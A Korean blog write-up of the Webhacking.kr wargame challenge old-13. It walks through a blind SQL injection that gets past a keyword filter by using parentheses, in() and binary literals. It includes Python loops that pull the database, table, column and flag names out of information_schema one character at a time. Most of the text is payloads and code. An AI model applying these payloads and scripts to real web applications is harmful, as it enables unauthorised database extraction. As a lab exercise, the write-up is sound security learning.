-
<Webhacking.kr> old-13Wargame/Webhacking.kr 2021. 11. 28. 21:31
제출 칸에 1을 입력하면
0을 입력하면
2를 입력하면
1을 입력하면 1을
2를 입력하면 0을
0을 입력하면 아무것도 출력하지 않는다.
1이면 참 0이면 거짓인 것 같다.
페이지 소스 코드를 살펴보면
<html> <head> <title>Challenge 13</title> <style type="text/css"> body { background:black; color:white; font-size:10pt; } </style> </head> <body> <h1>SQL INJECTION</h1> <font size=2 style=background:gray;></font><br> <form method=get> <input name=no><input type=submit> </form> <table border=1><tr><td>result</td></tr><tr><td>0</td></tr></table><form method=get action=index.php> <input name=password type=text placeholder="FLAG{something}"><input type=submit value='Auth'> </form> </body> </html>
제출 칸에서 필터링 되는 문자를 살펴보면
사칙연산(+, -, *, /), #, --, <, >, =, like, and, 공백, &&, ||, where, ascii, union 등
감을 못잡아 https://k-owl.tistory.com/156를 참고해서 풀었다.
■데이터베이스 이름 길이 찾기
database()는 데이터베이스 이름을 돌려주는 함수다. 공백을 필터링 하기 때문에 ()를 사용한다.
GET 방식이므로 ?no=(0)or(if(length(database())in(7),1,0))을 입력하면
데이터베이스 이름의 길이가 7인 것을 확인할 수 있다.
■데이터베이스 이름 찾기
?no=(0)or(if(ord(substr(database(),1,1))in(99),1,0))을 입력하면
데이터베이스 이름의 첫 글자가 'c'로 시작하는 것을 확인할 수 있다.
파이썬 코드를 이용해 데이터베이스의 이름을 찾아보면
import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "<td>1</td>" db_name = "" for i in range(1, 8): for j in range(33, 127): url = baseurl + "?no=(0)or(if(ord(substr(database(),{},1))in({}),1,0))".format(i, j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: db_name += chr(j) print("{} : {}".format(i, chr(j))) break print("db_name : ", db_name)
데이터베이스의 이름은 'chall13'인 것을 확인할 수 있다.
■테이블 이름 길이 찾기
?no=if((select(length(min(if((select(table_schema)in(데이터베이스이름)),table_name,null)))) from(information_schema.tables))in(테이블명길이),1,0)
if((select(table_schema)in(데이터베이스이름)),table_name,null)
위에서 찾은 chall13안에 테이블이 있으면 테이블 이름을 반환한다.
?no=if((select(length(min(table_name)))from(information_schema.tables))in(테이블명길이),1,0)
MySQL 데이터베이스는 informaion_schema라는 테이터베이스에서 데이터베이스 이름, 테이블, 칼럼 정보 등을 관리한다. min을 왜 사용하는지는 모르겠지만, 없을 경우 테이블 이름의 길이가 출력되지 않았다.
이 구문을 이용해 테이블 이름의 길이를 구해보면
import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "<td>1</td>" table_len = 0 for i in range(1, 100): url = baseurl + "?no=if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in({}),1,0)".format(i) res = requests.get(url=url, cookies=cookies) if want_str in res.text: table_len += i break print("table_len : ", table_len)
테이블 이름의 길이가 13인 것을 알 수 있다.
■테이블 이름 찾기
테이블 이름의 첫 글자를 찾기 위해
if((select(ord(substr(min(if((select(table_schema)in(database())),table_name,null)),1,1)))
from(information_schema.tables))in(102),1,0)를 입력하면
테이블의 첫 글자가 'f'로 시작하는 것을 알 수 있다.
파이썬 코드를 이용해 테이블 이름을 구해보면
import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "<td>1</td>" table_name = "" for i in range(1, 14): for j in range(33, 127): url = baseurl + "?no=if((select(ord(substr(min(if((select(table_schema)in(database())),table_name,null)),{},1)))from(information_schema.tables))in({}),1,0)".format(i, j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: table_name += chr(j) print("{} : {}".format(i, chr(j))) break print("table_name : ", table_name)
■Column 길이 찾기
if((select(length(min(if((select(table_name)in(테이블명)),column_name,null))))
from(information_schema.columns))in(컬럼명의 길이),1,0)
테이블명을 그대로 하면 제대로 출력되지 않는다. 0x는 필터링 되므로 0b를 사용한다.
테이블명을 이진수로 바꿔 입력하면
?no=if((select(length(min(if((select(table_name)in(0b0110011001101100011000010110011101
0111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null))))
from(information_schema.columns))in(13),1,0)
테이블 길이가 13인 것을 확인할 수 있다.
■Column 이름 찾기
no=?if((select(ord(substr(min(if((select(table_name)in(0b011001100110110001100001011001110101111101
10000101100010001101110011001100110011001101110011011000111000)),column_name,null)),1,1)))
from(information_schema.columns))in(
102
),1,0)을 입력하면
Column의 첫 글자가 'f'인 것을 확인할 수 있다.
파이썬 코드를 이용하여 나머지 글자도 찾아보면
import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID"} want_str = "<td>1</td>" column_name = "" for i in range(1, 14): for j in range(33, 127): url = baseurl + "?no=if((select(ord(substr(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)),{},1)))from(information_schema.columns))in({}),1,0)".format(i, j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: column_name += chr(j) print("{} : {}".format(i, chr(j))) break print("column_name : ", column_name)
Column 이름이 'flag_3a55b31d'라는 것을 알 수 있다.
■flag 길이 찾기
이제 Column안에 flag를 찾으면 된다.
?no=if((select(length(max(컬럼명)))from(데이터베이스명.테이블명))in(길이),1,0)을 이용하면
flag의 길이를 찾을 수 있다.
?no=if((select(length(max(flag_3a55b31d)))from(chall13.flag_ab733768))in(27),1,0)을 입력하면
flag의 길이가 27임을 알 수 있다.
■flag 찾기
?no=if((select(ord(substr(max(컬럼명),1,1)))from(데이터베이스명.테이블명))in(문자),1,0)로 flag를 찾을 수 있다.
?no=if((select(ord(substr(max(flag_3a55b31d),1,1)))from(chall13.flag_ab733768))in(70),1,0)을 입력하면
flag의 첫 글자가 'F'임을 알 수 있다.
파이썬 코드를 이용해서 찾아보면
import requests baseurl = "https://webhacking.kr/challenge/web-10/" cookies = {"PHPSESSID" : "PHPSESSID"} want_str = "<td>1</td>" flag = "" for i in range(1, 28): for j in range(33, 127): url = baseurl + "?no=if((select(ord(substr(max(flag_3a55b31d),{},1)))from(chall13.flag_ab733768))in({}),1,0)".format(i, j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: flag += chr(j) print("{} : {}".format(i, chr(j))) break print("flag : ", flag)
FLAG 칸에 찾은 값을 입력하면
문제를 해결할 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
<Webhacking.kr> old-15 (0) 2021.11.29 <Webhacking.kr> old-14 (0) 2021.11.29 <Webhacking.kr> old-12 (0) 2021.11.27 <Webhacking.kr> old-11 (0) 2021.11.25 <Webhacking.kr> old-10 (0) 2021.11.23